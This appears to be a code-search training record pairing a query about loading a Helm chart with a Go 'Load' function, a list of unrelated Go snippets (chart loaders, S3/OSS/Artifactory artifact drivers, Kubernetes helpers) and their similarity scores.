repoURL string, logger log.FieldLogger) error {\n\tlogger.Infof(\"Adding helm repo %s\", repoName)\n\targuments := []string{\n\t\t\"repo\",\n\t\t\"add\",\n\t\trepoName,\n\t\trepoURL,\n\t}\n\n\thelmClient, err := helm.New(logger)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"unable to create helm wrapper\")\n\t}\n\tdefer helmClient.Close()\n\n\terr = helmClient.RunGenericCommand(arguments...)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"unable to add repo %s\", repoName)\n\t}\n\n\treturn helmRepoUpdate(logger)\n}", "func NewTemplateModule() *restful.WebService {\n\tsrv := new(restful.WebService)\n\tsrv.Path(\"/template\").\n\t\tConsumes(restful.MIME_JSON).\n\t\tProduces(restful.MIME_JSON)\n\n\tsrv.Route(srv.POST(\"/generate/{project-id}\").To(generateTemplateForProject)).\n\t\tRoute(srv.GET(\"/suggestLayout\").To(suggestLayoutWithProjectId))\n\n\treturn srv\n}", "func (c *Client) newHostgroup(hostgroup *Hostgroup) ([]byte, error) {\n\tnagiosURL, err := c.buildURL(\"hostgroup\", \"POST\", \"\", \"\", \"\", \"\")\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata := setURLParams(hostgroup)\n\n\tbody, err := c.post(data, nagiosURL)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn body, nil\n}", "func NewHello(l *log.Logger) *Hello {\n\treturn &Hello{l}\n}", "func NewLaptop() *pb.Laptop {\n\tfmt.Println(\"Generate New Laptop\")\n\tnewLaptop := &pb.Laptop{\n\t\tId: randomID(),\n\t\tBrand: randomLaptopBrand(),\n\t\tModel: randomLaptopModel(),\n\t\tCpu: NewCPU(),\n\t\tMemory: NewMemory(),\n\t\tGpus: []*pb.GPU{NewGPU()},\n\t\tStorages: []*pb.Storage{NewStorage()},\n\t\tScreen: NewCreen(),\n\t\tKeyboard: NewKeyboard(),\n\t\tWeight: &pb.Laptop_WeightKg{WeightKg: randomFloat64(1.0, 3.0)},\n\t\tPriceUsd: float64(randomInt(1500, 3000)),\n\t\tReleaseYear: uint32(randomInt(2015, 2021)),\n\t\tCreatedAt: ptypes.TimestampNow(),\n\t\tUpdatedAt: ptypes.TimestampNow(),\n\t}\n\treturn newLaptop\n}", "func NewCmd(o *Options) *cobra.Command {\n\tc := newGkeCmd(o)\n\n\tcmd := &cobra.Command{\n\t\tUse: \"gke\",\n\t\tShort: \"Provisions a Google Kubernetes Engine (GKE) cluster on Google Cloud Platform (GCP).\",\n\t\tLong: `Use this command to provision a GKE cluster on GCP for Kyma installation. Use the flags to specify cluster details.\nNOTE: To access the provisioned cluster, make sure you get authenticated by Google Cloud SDK. To do so,run ` + \"`gcloud auth application-default login`\" + ` and log in with your Google Cloud credentials.`,\n\n\t\tRunE: func(_ *cobra.Command, _ []string) error { return c.Run() },\n\t}\n\n\tcmd.Flags().StringVarP(&o.Name, \"name\", \"n\", \"\", \"Name of the GKE cluster to provision. (required)\")\n\tcmd.Flags().StringVarP(&o.Project, \"project\", \"p\", \"\", \"Name of the GCP Project where you provision the GKE cluster. (required)\")\n\tcmd.Flags().StringVarP(&o.CredentialsFile, \"credentials\", \"c\", \"\", \"Path to the GCP service account key file. (required)\")\n\tcmd.Flags().StringVarP(&o.KubernetesVersion, \"kube-version\", \"k\", \"1.19\", \"Kubernetes version of the cluster.\")\n\tcmd.Flags().StringVarP(&o.Location, \"location\", \"l\", \"europe-west3-a\", \"Region (e.g. europe-west3) or zone (e.g. europe-west3-a) of the cluster.\")\n\tcmd.Flags().StringVarP(&o.MachineType, \"type\", \"t\", \"n1-standard-4\", \"Machine type used for the cluster.\")\n\tcmd.Flags().IntVar(&o.DiskSizeGB, \"disk-size\", 50, \"Disk size (in GB) of the cluster.\")\n\tcmd.Flags().IntVar(&o.NodeCount, \"nodes\", 3, \"Number of cluster nodes.\")\n\t// Temporary disabled flag. To be enabled when hydroform supports TF modules\n\t//cmd.Flags().StringSliceVarP(&o.Extra, \"extra\", \"e\", nil, \"Provide one or more arguments of the form NAME=VALUE to add extra configurations.\")\n\tcmd.Flags().UintVar(&o.Attempts, \"attempts\", 3, \"Maximum number of attempts to provision the cluster.\")\n\n\treturn cmd\n}", "func newNode() *topicNode {\n\treturn &topicNode{\n\t\tchildren: children{},\n\t\tclients: make(clientOpts),\n\t\tshared: make(map[string]clientOpts),\n\t}\n}", "func (c *klusterlets) Create(ctx context.Context, klusterlet *v1.Klusterlet, opts metav1.CreateOptions) (result *v1.Klusterlet, err error) {\n\tresult = &v1.Klusterlet{}\n\terr = c.client.Post().\n\t\tResource(\"klusterlets\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tBody(klusterlet).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "func NewWithHostname(hostname string) (*g3storage.Storage, error) {\n\terror := []string{\"\"}\n\tw := wrap.NewMakoClient(hostname, error)\n\tif error[0] != \"\" {\n\t\treturn nil, fmt.Errorf(\"failure calling into C++ NewMakoClient: %v\", error[0])\n\t}\n\treturn g3storage.NewFromWrapper(w), nil\n}", "func newKubectlCmd() *cobra.Command {\n\tresult := &cobra.Command{\n\t\tUse: \"kubectl\",\n\t\tShort: \"kubectl controls the Kubernetes cluster manager\",\n\t\tHidden: true,\n\t}\n\n\tgenericFlags := genericclioptions.NewConfigFlags(true)\n\tgenericFlags.AddFlags(result.PersistentFlags())\n\tmatchVersionFlags := cmdutil.NewMatchVersionFlags(genericFlags)\n\tmatchVersionFlags.AddFlags(result.PersistentFlags())\n\n\tf := cmdutil.NewFactory(matchVersionFlags)\n\tioStreams := genericclioptions.IOStreams{In: os.Stdin, Out: os.Stdout, ErrOut: os.Stderr}\n\tcmdApply := apply.NewCmdApply(\"kubectl\", f, ioStreams)\n\n\t// TODO(nick): It might make more sense to implement replace and delete with client-go.\n\tcmdReplace := replace.NewCmdReplace(f, ioStreams)\n\tcmdDelete := delete.NewCmdDelete(f, ioStreams)\n\n\tresult.AddCommand(cmdApply)\n\tresult.AddCommand(cmdReplace)\n\tresult.AddCommand(cmdDelete)\n\treturn result\n}", "func NewHTML(t string) http.Handler {\n\treturn &HTMLhandler{t}\n}", "func newPod(ctx context.Context, cl client.Client, ns, name, image string, cmd []string) (*corev1.Pod, error) {\n\tc := corev1.Container{\n\t\tName: name,\n\t\tImage: image,\n\t\tCommand: cmd,\n\t}\n\tp := &corev1.Pod{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: ns,\n\t\t},\n\t\tSpec: corev1.PodSpec{\n\t\t\tContainers: []corev1.Container{c},\n\t\t\t// Kill the pod immediately so it exits quickly on deletion.\n\t\t\tTerminationGracePeriodSeconds: pointer.Int64Ptr(0),\n\t\t},\n\t}\n\tif err := cl.Create(ctx, p); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create pod %s/%s: %v\", p.Namespace, p.Name, err)\n\t}\n\treturn p, nil\n}", "func Install(c *cli.Context) error {\n\t//chartmuseumURL := chartmuseum.GetChartmuseumURL()\n\tlog.Println(\"Parse toml config\")\n\tconfig, err := util.ParseConfig(configFile)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t\treturn err\n\t}\n\t// helm package (compress)\n\tlog.Println(\"Helm package (compress helm chart)\")\n\tchartTgz := fmt.Sprintf(\"charts/%s-%s.tgz\", config.Chart.Name, config.Chart.Version)\n\tchartDir := fmt.Sprintf(\"charts/%s\", config.Chart.Name)\n\terr = util.Compress(chartTgz, chartDir)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t\treturn err\n\t}\n\t// upload chart to chartmuseum\n\tlog.Println(\"Upload to chartmuseum\")\n\tchartdata, err := util.ReadFileBytes(chartTgz)\n\terr = chartmuseum.UploadCharts(chartdata)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t\treturn err\n\t}\n\t// Upload Dockerfile to fileserver\n\tlog.Println(\"Upload Dockerfile\")\n\terr = dockerfile.UploadDockerfile(config.Chart.Name)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t\treturn err\n\t}\n\t// Check pipelines (jenkins和tekton)\n\tif config.Pipeline == \"jenkins\" {\n\t\tlog.Println(\"Create jenkins pipeline\")\n\t\tjauth := jenkins.GetJAuth()\n\t\tjks := jenkins.NewJenkins(jauth)\n\t\tpipeline, err := util.ReadFile(\"Jenkinsfile\")\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t\treturn err\n\t\t}\n\t\tjksconfig := jenkins.CreatePipeline(pipeline)\n\t\terr = jks.CreateJob(jksconfig, config.Chart.Name)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\t// Install helm chart(run jenkins job)\n\t\tlog.Println(\"Install helm chart\")\n\t\tvar params map[string]string\n\t\tparams = make(map[string]string)\n\t\tparams[\"action\"] = \"install\"\n\t\tparams[\"tag\"] = fmt.Sprintf(\"auto-%s\", time.Now().Format(\"20060102150405\"))\n\t\terr = jks.BuildWithParams(config.Chart.Name, params)\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t\treturn err\n\t\t}\n\t} else if config.Pipeline == \"tekton\" {\n\t\tlog.Println(\"Start tekton pipelines\")\n\t\tres, err := kubernetes.KubeOper(\"apply\", \"pipelines/\")\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\t\tfmt.Println(res)\n\t}\n\n\tlog.Println(\"App install success\")\n\treturn nil\n}", "func (client *Client) CreateMcubeUpgradePackage(request *CreateMcubeUpgradePackageRequest) (response *CreateMcubeUpgradePackageResponse, err error) {\n\tresponse = CreateCreateMcubeUpgradePackageResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "func (c *Context) Create(cfg *config.Config) error {\n\t// validate config first\n\tif err := cfg.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t// TODO(bentheelder): multiple nodes ...\n\tkubeadmConfig, err := c.provisionControlPlane(\n\t\tfmt.Sprintf(\"kind-%s-control-plane\", c.name),\n\t\tcfg,\n\t)\n\n\t// clean up the kubeadm config file\n\t// NOTE: in the future we will use this for other nodes first\n\tif kubeadmConfig != \"\" {\n\t\tdefer os.Remove(kubeadmConfig)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Infof(\n\t\t\"You can now use the cluster with:\\n\\nexport KUBECONFIG=\\\"%s\\\"\\nkubectl cluster-info\",\n\t\tc.KubeConfigPath(),\n\t)\n\n\treturn nil\n}", "func New(name, helptext string) Creator {\n\tif ctorImpl == nil {\n\t\treturn &noop{}\n\t} else {\n\t\treturn ctorImpl(name, helptext)\n\t}\n}", "func (ot *openTelemetryWrapper) newResource(\n\twebEngineName,\n\twebEngineVersion string,\n) (*resource.Resource, error) {\n\treturn resource.Merge(resource.Default(), resource.NewSchemaless(\n\t\tsemconv.WebEngineName(webEngineName),\n\t\tsemconv.WebEngineVersion(webEngineVersion),\n\t))\n}", "func (c *FakeHelms) Update(helm *v1alpha1.Helm) (result *v1alpha1.Helm, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewUpdateAction(helmsResource, c.ns, helm), &v1alpha1.Helm{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*v1alpha1.Helm), err\n}", "func NewHello(logger *log.Logger) *Hello {\n\treturn &Hello{logger: logger}\n}", "func New() *M {\n\tc := &M{}\n\tc.Component()\n\tc.items = make([]*js.Object, 0)\n\treturn c\n}", "func New(m map[string]string) Metadata {\n\tmd := Metadata{}\n\tfor key, val := range m {\n\t\tmd[key] = val\n\t}\n\treturn md\n}", "func newPod(name string) *corev1.Pod {\n\treturn &corev1.Pod{\n\t\tTypeMeta: metav1.TypeMeta{},\n\t\tObjectMeta: metav1.ObjectMeta{Name: name},\n\t\tSpec: corev1.PodSpec{},\n\t\tStatus: corev1.PodStatus{},\n\t}\n}" ]
[ "0.6999746", "0.6987181", "0.6503738", "0.6433711", "0.60241", "0.5954915", "0.5873086", "0.57610524", "0.57160705", "0.55597526", "0.54564774", "0.54285806", "0.536348", "0.52476436", "0.52340335", "0.52292144", "0.5156951", "0.51407623", "0.5129945", "0.5086342", "0.50615865", "0.5054317", "0.50434196", "0.5005772", "0.49903017", "0.49593753", "0.4952408", "0.4952408", "0.49472257", "0.49181786", "0.48986506", "0.48770714", "0.48751107", "0.486477", "0.48428282", "0.48167446", "0.4799507", "0.47961608", "0.478852", "0.47854486", "0.47777146", "0.4774457", "0.4769612", "0.47672376", "0.47646463", "0.47457498", "0.47444654", "0.47385857", "0.47340846", "0.47300783", "0.47294357", "0.47273502", "0.47190166", "0.47175428", "0.4705071", "0.47025397", "0.46965337", "0.46965125", "0.46911368", "0.4682186", "0.468133", "0.46698117", "0.4663685", "0.465116", "0.46344766", "0.46285695", "0.46197006", "0.46132758", "0.46106353", "0.4609182", "0.4604294", "0.45979184", "0.45979184", "0.45865476", "0.4577282", "0.45772645", "0.45700815", "0.45675078", "0.45653865", "0.45630506", "0.45597115", "0.45526537", "0.45520583", "0.45423684", "0.4542206", "0.4541594", "0.45412618", "0.45387092", "0.45376077", "0.45356202", "0.4534826", "0.4525723", "0.45214397", "0.45177758", "0.45174503", "0.4516802", "0.4508631", "0.45003244", "0.44983187", "0.44915062" ]
0.739738
0
Load loads the chart from the repository.
func (h *Helm) Load(chart, version string) (string, error) { return h.locateChart(chart, version) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (w *Worker) loadChart(u string) (*chart.Chart, error) {\n\t// Rate limit requests to Github to avoid them being rejected\n\tif strings.HasPrefix(u, \"https://github.com\") {\n\t\t_ = w.rl.Wait(w.ctx)\n\t}\n\n\tresp, err := w.hg.Get(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode == http.StatusOK {\n\t\tchart, err := loader.LoadArchive(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn chart, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected status code received: %d\", resp.StatusCode)\n}", "func Load(chart string) (*Chart, error) {\n\tif fi, err := os.Stat(chart); err != nil {\n\t\treturn nil, err\n\t} else if !fi.IsDir() {\n\t\treturn nil, fmt.Errorf(\"Chart %s is not a directory.\", chart)\n\t}\n\n\tcf, err := LoadChartfile(filepath.Join(chart, \"Chart.yaml\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc := &Chart{\n\t\tChartfile: cf,\n\t\tKind: map[string][]*manifest.Manifest{},\n\t}\n\n\tms, err := manifest.ParseDir(chart)\n\tif err != nil {\n\t\treturn c, err\n\t}\n\n\tc.attachManifests(ms)\n\n\treturn c, nil\n}", "func Load(name string, gcs *storage.Client) (*Repo, error) {\n\tentry, err := retrieveRepositoryEntry(name)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"entry\")\n\t}\n\tif entry == nil {\n\t\treturn nil, fmt.Errorf(\"repository \\\"%s\\\" not found. Make sure you add it to helm\", name)\n\t}\n\n\tindexFileURL, err := resolveReference(entry.URL, \"index.yaml\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"resolve reference\")\n\t}\n\n\treturn &Repo{\n\t\tentry: entry,\n\t\tindexFileURL: indexFileURL,\n\t\tgcs: gcs,\n\t}, nil\n}", "func (a *ArtifactDriver) Load(artifact *wfv1.Artifact, path string) error {\n\tlf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = lf.Close()\n\t}()\n\n\t_, err = lf.WriteString(artifact.Raw.Data)\n\treturn err\n}", "func Load(ctx context.Context, root string, verify bool) (*graph.Graph, error) {\n\tbase, err := Nodes(ctx, root, verify)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"loading failed\")\n\t}\n\n\tresolved, err := ResolveDependencies(ctx, base)\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not resolve dependencies\")\n\t}\n\n\tresourced, err := SetResources(ctx, resolved)\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not resolve resources\")\n\t}\n\treturn resourced, nil\n}", "func (m *SynapsesPersist) Load() {\n\tdataPath, err := filepath.Abs(m.relativePath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\teFile, err := os.Open(dataPath + m.file)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer eFile.Close()\n\n\tbytes, err := ioutil.ReadAll(eFile)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = json.Unmarshal(bytes, &m.Synapses)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "func (a *ArtifactDriver) Load(artifact *wfv1.Artifact, path string) error {\n\tlf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = lf.Close()\n\t}()\n\n\treq, err := http.NewRequest(http.MethodGet, artifact.Artifactory.URL, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.SetBasicAuth(a.Username, a.Password)\n\tres, err := (&http.Client{}).Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = res.Body.Close()\n\t}()\n\tif res.StatusCode == 404 {\n\t\treturn errors.New(errors.CodeNotFound, res.Status)\n\t}\n\tif res.StatusCode < 200 || res.StatusCode >= 300 {\n\t\treturn errors.InternalErrorf(\"loading file from artifactory failed with reason:%s\", res.Status)\n\t}\n\n\t_, err = io.Copy(lf, res.Body)\n\n\treturn err\n}", "func Load(path string) *Graph {\n\tvar data Graph\n\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tos.Exit(1)\n\t}\n\tdefer f.Close()\n\n\tfz, _ := gzip.NewReader(f)\n\tdefer fz.Close()\n\n\tdecoder := gob.NewDecoder(fz)\n\n\terr = decoder.Decode(&data)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tos.Exit(1)\n\t}\n\n\treturn &data\n}", "func (s *DataStore) Load() error {\n\tfile, err := os.Open(s.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\ts.Lock()\n\tdefer s.Unlock()\n\n\terr = json.NewDecoder(file).Decode(&s.model)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p *Puck) Load(name ...string) error {\n\tcmd := []byte(\"load();\\n\")\n\terr := p.command(name, cmd)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Load(fileName string) ([]Dog, error) {\n\tdata, _ := ioutil.ReadFile(fileName)\n\treturn DogsFromJSON(data)\n}", "func (b *Bolt) Load(id string, data interface{}) error {\n\terr := b.client.View(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket([]byte(b.bucket))\n\t\tv := bkt.Get([]byte(id))\n\t\tif v == nil {\n\t\t\treturn storage.ErrNotFound\n\t\t}\n\n\t\terr := json.Unmarshal(v, data)\n\t\treturn err\n\t})\n\n\treturn err\n}", "func (s3Driver *S3ArtifactDriver) Load(inputArtifact *wfv1.Artifact, path string) error {\n\tminioClient, err := s3Driver.newMinioClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Download the file to a local file path\n\tlog.Infof(\"Loading from s3 (endpoint: %s, bucket: %s, key: %s) to %s\",\n\t\tinputArtifact.S3.Endpoint, inputArtifact.S3.Bucket, inputArtifact.S3.Key, path)\n\terr = minioClient.FGetObject(inputArtifact.S3.Bucket, inputArtifact.S3.Key, path)\n\tif err != nil {\n\t\treturn errors.InternalWrapError(err)\n\t}\n\treturn nil\n}", "func Load() error {\n\treturn def.Load()\n}", "func (c *Catalog) Load() error {\n\tif _, err := c.GetLenses(); err != nil {\n\t\treturn err\n\t}\n\tif _, err := c.GetCameras(); err != nil {\n\t\treturn err\n\t}\n\tif _, err := c.GetStats(); err != nil {\n\t\treturn err\n\t}\n\tif _, err := c.GetPhotos(); err != nil {\n\t\treturn err\n\t}\n\tif _, err := c.GetCollections(); err != nil {\n\t\treturn err\n\t}\n\tif _, err := c.GetCollectionTree(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (o *CurrentChartDataMinutely) Reload(exec boil.Executor) error {\n\tret, err := FindCurrentChartDataMinutely(exec, o.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*o = *ret\n\treturn nil\n}", "func (fb *FlowBuilder) Load(rawData []byte) *FlowBuilder {\n\tfb.flow = flow.New()\n\tfb.flow.UseRegistry(fb.registry)\n\n\tdoc := &FlowDocument{[]Node{}, []Link{}, []Trigger{}}\n\tlog.Println(\"Loading document from:\", string(rawData))\n\terr := json.Unmarshal(rawData, doc)\n\tif err != nil {\n\t\tfb.Err = err\n\t\treturn fb\n\t}\n\n\tfb.Doc = doc\n\n\treturn fb\n}", "func (n *nameHistory) Load() error {\n\tfp, err := os.OpenFile(n.filepath, os.O_RDONLY, os.ModePerm)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not open %q file: %v\", n.filepath, err)\n\t}\n\tdefer fp.Close()\n\n\tif err := yaml.NewDecoder(fp).Decode(&n.entries); err != nil {\n\t\treturn fmt.Errorf(\"could not decode file: %v\", err)\n\t}\n\n\tn.isChanged = false\n\n\treturn nil\n}", "func (r *LocalRegistry) Load() {\n\tvar (\n\t\tregBytes []byte\n\t\terr error\n\t)\n\t// check if localRepo file exist\n\t_, err = os.Stat(r.file())\n\tif err != nil {\n\t\t// then assume localRepo.json is not there: try and create it\n\t\tr.save()\n\t} else {\n\t\tregBytes, err = ioutil.ReadFile(r.file())\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\terr = json.Unmarshal(regBytes, r)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}", "func (p *ReminderPlugin) Load(bot *bruxism.Bot, service bruxism.Service, data []byte) error {\n\tif data != nil {\n\t\tif err := json.Unmarshal(data, p); err != nil {\n\t\t\tlog.Println(\"Error loading data\", err)\n\t\t}\n\t}\n\tif len(p.Reminders) > p.TotalReminders {\n\t\tp.TotalReminders = len(p.Reminders)\n\t}\n\n\tgo p.Run(bot, service)\n\treturn nil\n}", "func (ossDriver *OSSArtifactDriver) Load(inputArtifact *wfv1.Artifact, path string) error {\n\terr := wait.ExponentialBackoff(wait.Backoff{Duration: time.Second * 2, Factor: 2.0, Steps: 5, Jitter: 0.1},\n\t\tfunc() (bool, error) {\n\t\t\tlog.Infof(\"OSS Load path: %s, key: %s\", path, inputArtifact.OSS.Key)\n\t\t\tosscli, err := ossDriver.newOSSClient()\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\tbucketName := inputArtifact.OSS.Bucket\n\t\t\tbucket, err := osscli.Bucket(bucketName)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\tobjectName := inputArtifact.OSS.Key\n\t\t\terr = bucket.GetObjectToFile(objectName, path)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\treturn true, nil\n\t\t})\n\treturn err\n}", "func (dto *PromiseResponse) Load(m *model.PromiseModel) {\n\tdto.ID = m.ID\n\tdto.URI = constValue.CategoryToURI(m.Category, m.ID)\n\tdto.Category = m.Category\n\tdto.CreatedAt = m.CreatedAt\n\tdto.UpdatedAt = m.UpdatedAt\n}", "func (s *Song) Load() error {\n\treturn DB.LoadSong(s)\n}", "func (domain *Domain) Load(filename string) error {\n\treturn util.LoadYAML(filename, domain)\n}", "func (i *Inventoree) Load() error {\n\tvar err error\n\tif i.cacheExpired() {\n\t\treturn i.Reload()\n\t}\n\t// trying to use cache\n\terr = i.loadLocal()\n\tif err != nil {\n\t\t// if it failed, trying to get data from remote\n\t\treturn i.loadRemote()\n\t}\n\treturn nil\n}", "func (c *UsageController) Load(r *http.Request) error {\n\tvar changelog []models.Usage\n\n\tdata, err := storage.GetFile(\"usage\", r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = json.Unmarshal(data, &changelog)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.setList(changelog)\n\n\treturn nil\n}", "func (b *BrBuilder) Load() error {\n\tfpath := filepath.Join(b.StorePath, adminDir, branchBin)\n\tfd, err := os.OpenFile(fpath, os.O_RDONLY, 666)\n\tif err != nil {\n\t\t//log.Error(2, \"[Branch] Load branch %s failed: %v.\", b.Name(), err)\n\t\treturn err\n\t}\n\n\tdefer fd.Close()\n\treturn gob.NewDecoder(fd).Decode(&b.Branch)\n}", "func Load(state *state.State, driverName string, name string, config map[string]string, logger logger.Logger, volIDFunc func(volType VolumeType, volName string) (int64, error), commonRulesFunc func() map[string]func(string) error) (Driver, error) {\n\t// Locate the driver loader.\n\tdriverFunc, ok := drivers[driverName]\n\tif !ok {\n\t\treturn nil, ErrUnknownDriver\n\t}\n\n\td := driverFunc()\n\terr := d.init(state, name, config, logger, volIDFunc, commonRulesFunc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn d, nil\n}", "func (l *Loader) Load() ([]byte, error) {\n\treturn ioutil.ReadFile(l.filename)\n}", "func (p *YouTubeJoinPlugin) Load(bot *bruxism.Bot, service bruxism.Service, data []byte) error {\n\tif service.Name() != bruxism.YouTubeServiceName {\n\t\tpanic(\"YouTubeJoin plugin only supports YouTube.\")\n\t}\n\n\tif data != nil {\n\t\tif err := json.Unmarshal(data, p); err != nil {\n\t\t\tlog.Println(\"Error loading data\", err)\n\t\t}\n\t}\n\n\tp.youtube = service.(*bruxism.YouTube)\n\n\tfor channel, _ := range p.Channels {\n\t\tp.monitor(channel, false)\n\t}\n\n\tgo p.Run(bot, service)\n\n\treturn nil\n}", "func LoadChartfile(filename string) (*chart.Metadata, error) {\n\tb, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn UnmarshalChartfile(b)\n}", "func (d *Drawer) load() error {\n\tdata, err := ioutil.ReadFile(d.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(data) > 0 {\n\t\tvar payload interface{}\n\t\tpayload, err = d.serializer.Deserialize(data)\n\t\tif !isPointer(payload) {\n\t\t\tpanic(NonPointerErr)\n\t\t}\n\t\td.payload = payload\n\t} else {\n\t\td.payload = nil\n\t}\n\treturn err\n}", "func load(repo *Repo) (err error) {\n \n err = loadRoot(repo)\n if err != nil {\n return\n }\n\n // Watch root directory for changes.\n // No need to remember watcher id as root doesn't change\n // _, err = fwatch.WatchDir(dir, reloadRoot)\n return\n}", "func (s *Store) Load(path string) (*Example, error) {\n\tparts := strings.Split(path, \"/\")\n\tif len(parts) == 2 && parts[1] == \"\" {\n\t\treturn emptyExample, nil\n\t} else if len(parts) != 3 {\n\t\treturn nil, errcode.New(http.StatusNotFound, \"Invalid URL: %s\", path)\n\t}\n\n\tcategory := s.DB.FindCategory(parts[1])\n\tif category == nil {\n\t\treturn nil, errcode.New(http.StatusNotFound, \"Could not find category: %s\", parts[1])\n\t}\n\texample := category.FindExample(parts[2])\n\tif example == nil {\n\t\treturn nil, errcode.New(http.StatusNotFound, \"Could not find example: %s\", parts[2])\n\t}\n\treturn example, nil\n}", "func (s *Store) Load(ctx context.Context, aggregateID string, fromVersion, toVersion int) (eventsource.History, error) {\n\tdb, err := s.accessor.Open(ctx)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"load failed; unable to connect to db\")\n\t}\n\tdefer s.accessor.Close(db)\n\n\treturn s.doLoad(ctx, db, aggregateID, fromVersion, toVersion)\n}", "func (a *Art) Load() error {\n\timg, err := resources.Image(a.Path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"load image: %w\", err)\n\t}\n\ta.img = img\n\treturn nil\n}", "func (g *GetService) Get() error {\n\tchartRepo, err := repo.NewChartRepository(&g.config, getter.All(environment.EnvSettings{}))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdownloadedIndexPath := path.Join(g.config.Name, downloadedFileName)\n\terr = chartRepo.DownloadIndexFile(downloadedIndexPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = chartRepo.Load()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tindex := search.NewIndex()\n\tindex.AddRepo(chartRepo.Config.Name, chartRepo.IndexFile, (g.allVersions || g.chartVersion != \"\"))\n\trexp := fmt.Sprintf(\"^.*%s.*\", g.chartName)\n\tres, err := index.Search(rexp, 1, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, r := range res {\n\t\tif g.chartName != \"\" && r.Chart.Name != g.chartName {\n\t\t\tcontinue\n\t\t}\n\t\tif g.chartVersion != \"\" && r.Chart.Version != g.chartVersion {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, u := range r.Chart.URLs {\n\t\t\tb, err := chartRepo.Client.Get(u)\n\t\t\tif err != nil {\n\t\t\t\tif g.ignoreErrors {\n\t\t\t\t\tg.logger.Printf(\"WARNING: processing chart %s(%s) - %s\", r.Name, r.Chart.Version, err)\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\tchartFileName := fmt.Sprintf(\"%s-%s.tgz\", r.Chart.Name, r.Chart.Version)\n\t\t\tchartPath := path.Join(g.config.Name, chartFileName)\n\t\t\terr = writeFile(chartPath, b.Bytes(), g.logger, g.ignoreErrors)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\terr = prepareIndexFile(g.config.Name, g.config.URL, g.newRootURL, g.logger, g.ignoreErrors)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (c 